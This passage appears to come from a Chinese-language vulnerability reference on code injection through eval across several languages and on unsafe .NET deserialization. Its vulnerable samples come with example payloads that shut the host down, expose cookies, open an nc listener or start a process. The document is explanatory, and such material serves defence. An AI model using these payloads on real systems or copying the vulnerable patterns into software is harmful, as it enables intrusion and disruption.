operation 參數是良性值時，例如「8 + 7 * 2」，程式會正常運作。在此情況下，會指定 result 變數的值為 22。不過，如果攻擊者指定有效且惡意的語言作業，則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。例如，JavaScript 允許叫用 Java 物件，如果攻擊者指定「java.lang.Runtime.getRuntime().exec("shutdown -h now")」作為 operation 的值，則會在主機系統上執行關機指令。
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation 參數是良性的值時，例如「8 + 7 * 2」，程式會正常運作。在此案例中，會指定 calcResult 變數的值為 22。不過，如果攻擊者指定同時為有效且惡意的語言作業，則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。在 JavaScript 案例中，攻擊者可能使用此弱點執行 Cross-site scripting 攻擊。
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...
webView 內的 <body> 元素會具有藍色背景樣式。然而，如果攻擊者提供的惡意輸入仍然有效，便可能可以執行任意 JavaScript 程式碼。例如，由於 JavaScript 可以存取某些類型的私密資訊，如 Cookie，因此如果攻擊者指定 "white";document.body.innerHTML=document.cookie;"" 做為 UITextField 的輸入，則 Cookie 資訊會明顯寫入頁面。當基礎語言提供系統資源的存取權或允許執行系統指令時，這類攻擊會更加危險，因為在那些情況下，會使用父系程序的完整權限來執行插入的程式碼。
...
$userOps = $_GET['operation'];
$result = eval($userOps);
...
operation 參數是良性的值時，例如「8 + 7 * 2」，程式會正常運作。在此案例中，會指定 result 變數的值為 22。不過，如果攻擊者指定同時為有效且惡意的作業，則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。例如，如果攻擊者指定「exec('shutdown -h now')」做為 operation 的值，則會在主機系統上執行系統關機指令。
...
userOps = request.GET['operation']
result = eval(userOps)
...
operation 參數是良性的值時，例如「8 + 7 * 2」，程式會正常運作。在此案例中，會指定 result 變數的值為 22。不過，如果攻擊者指定同時為有效且惡意的作業，則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。例如，如果攻擊者指定「os.system('shutdown -h now')」做為 operation 的值，則會在主機系統上執行系統關機指令。
...
user_ops = req['operation']
result = eval(user_ops)
...
operation 參數是良性的值時，例如「8 + 7 * 2」，程式會正常運作。在此案例中，會指定 result 變數的值為 22。不過，如果攻擊者指定同時為有效且惡意的語言作業，則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。如果使用 Ruby，則允許執行此作業，由於可透過使用分號 (;) 區隔行來執行多個指令，因此還能夠在不中斷程式的情況下使用簡單插入來執行許多指令。operation "system(\"nc -l 4444 &\");8+7*2"，則此作業會開啟連結埠 4444 以偵聽機器上的連線，且仍然會將值 22 回傳到 result
...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...
webView 內的 <body> 元素會具有藍色背景樣式。然而，如果攻擊者提供的惡意輸入仍然有效，便可能可以執行任意 JavaScript 程式碼。例如，由於 JavaScript 可以存取某些類型的私密資訊，如 Cookie，因此如果攻擊者指定 "white";document.body.innerHTML=document.cookie;"" 做為 UITextField 的輸入，則 Cookie 資訊會明顯寫入頁面。當基礎語言提供系統資源的存取權或允許執行系統指令時，這類攻擊會更加危險，因為在那些情況下，會使用父系程序的完整權限來執行插入的程式碼。
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation 的範例。strResult 變數所回傳的值為 22。但是，如果使用者指定其他有效的語言作業，不僅會執行那些作業，還會使用父系程序的完整權限來執行。當基本語言提供系統資源的存取權限或允許執行系統指令時，執行任意的程式碼會變得更加危險。例如：如果攻擊者將 operation 指定為「Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')」，則可能會在主機系統上執行關閉指令。
...
string name = Request["username"];
string template = "Hello @Model.Name! Welcome " + name + "!";
string result = Razor.Parse(template, new { Name = "World" });
...
operation 是良性的值時 (例如「John」)，程式會正常運作；在此案例中，result 變數指定的值是「Hello World!Welcome John!」。不過，如果攻擊者指定同時為有效且惡意的語言作業，則會使用父系程序的完整權限來執行那些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。舉例來說，Razor 允許呼叫 C# 物件，如果攻擊者指定「@{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents=false; proc.StartInfo.FileName=\"calc\"; proc.Start(); }」 做為 name 的值，則會在主機系統上執行系統指令。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation 參數是良性值時，例如「8 + 7 * 2」，程式會正常運作。在此情況下，會指定 result 變數的值為 22。不過，如果攻擊者指定有效且惡意的語言作業，則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。例如，JavaScript 允許叫用 Java 物件，如果攻擊者指定「java.lang.Runtime.getRuntime().exec("shutdown -h now")」作為 operation 的值，則會在主機系統上執行關機指令。
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation 參數是良性值時，例如「8 + 7 * 2」，程式會正常運作。在此情況下，會指定 calcResult 變數的值為 22。不過，如果攻擊者指定有效且惡意的語言作業，則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。在 JavaScript 案例中，攻擊者可能使用此弱點執行 Cross-site scripting 攻擊。
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation 的範例。strResult 變數所回傳的值為 22。但是，如果使用者指定其他有效的語言作業，不僅會執行那些作業，還會使用父系程序的完整權限來執行。當基本語言提供系統資源的存取權限或允許執行系統指令時，執行任意的程式碼會變得更加危險。例如：如果攻擊者將 operation 指定為「Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')」，則可能會在主機系統上執行關閉指令。Delegate 欄位會在還原序列化類別時，引入任意程式碼執行漏洞。Delegate 類型用於保留方法呼叫的參考，該方法呼叫可於稍後在使用者程式碼中叫用。.NET 會使用自訂的序列化方法來序列化 Delegate 類型，並利用 System.DelegateSerializationHolder 類別來儲存附加至或歸屬於 Delegate 的方法資訊。Delegate 物件的已序列化串流不適合持續性儲存或傳遞至遠端應用程式，因為攻擊者可以將方法資訊取代為指向惡意物件圖形的方法資訊，所以攻擊者將可以執行任意程式碼。Delegate 欄位，並且會在 Executor 方法中叫用：
...
[Serializable]
class DynamicRunnner
{
Delegate _del;
string[] _arg;
public DynamicRunnner(Delegate dval, params string[] arg)
{
_del = dval;
_arg = arg;
}
public bool Executor()
{
return (bool)_del.DynamicInvoke(_arg);
}
}
...
Example 1 中提及之類別的不受信任的串流，攻擊者將方法資訊取代為指向 Process.Start 的方法資訊，將會導致在呼叫 Executor 方法時建立任意程序。Stream 物件做為輸入，並將其還原序列化回 .NET 物件。然後在將其轉換為字串物件清單後傳回結果：
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
var result = (List <string>)bf.Deserialize(input);
return result;
}
...
Example 1 可以按如下方式進行重寫：
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
object tmp = bf.Deserialize(input);
List <string> result = (List <string>)tmp;
return result;
}
...
Example 2 中，只要輸入串流有效，無論類型是否為 List <string>，還原序列化作業都會成功。bin 資料夾或位於 GAC 中且攻擊者不能插入的可序列化類別中，會定義自訂還原序列化常式，所以這些攻擊的可利用性取決於應用程式環境中的可用類別。遺憾的是，常見的第三方類別、甚至是 .NET 類別可能會被濫用於耗盡系統資源、刪除檔案、部署惡意檔案或執行任意程式碼。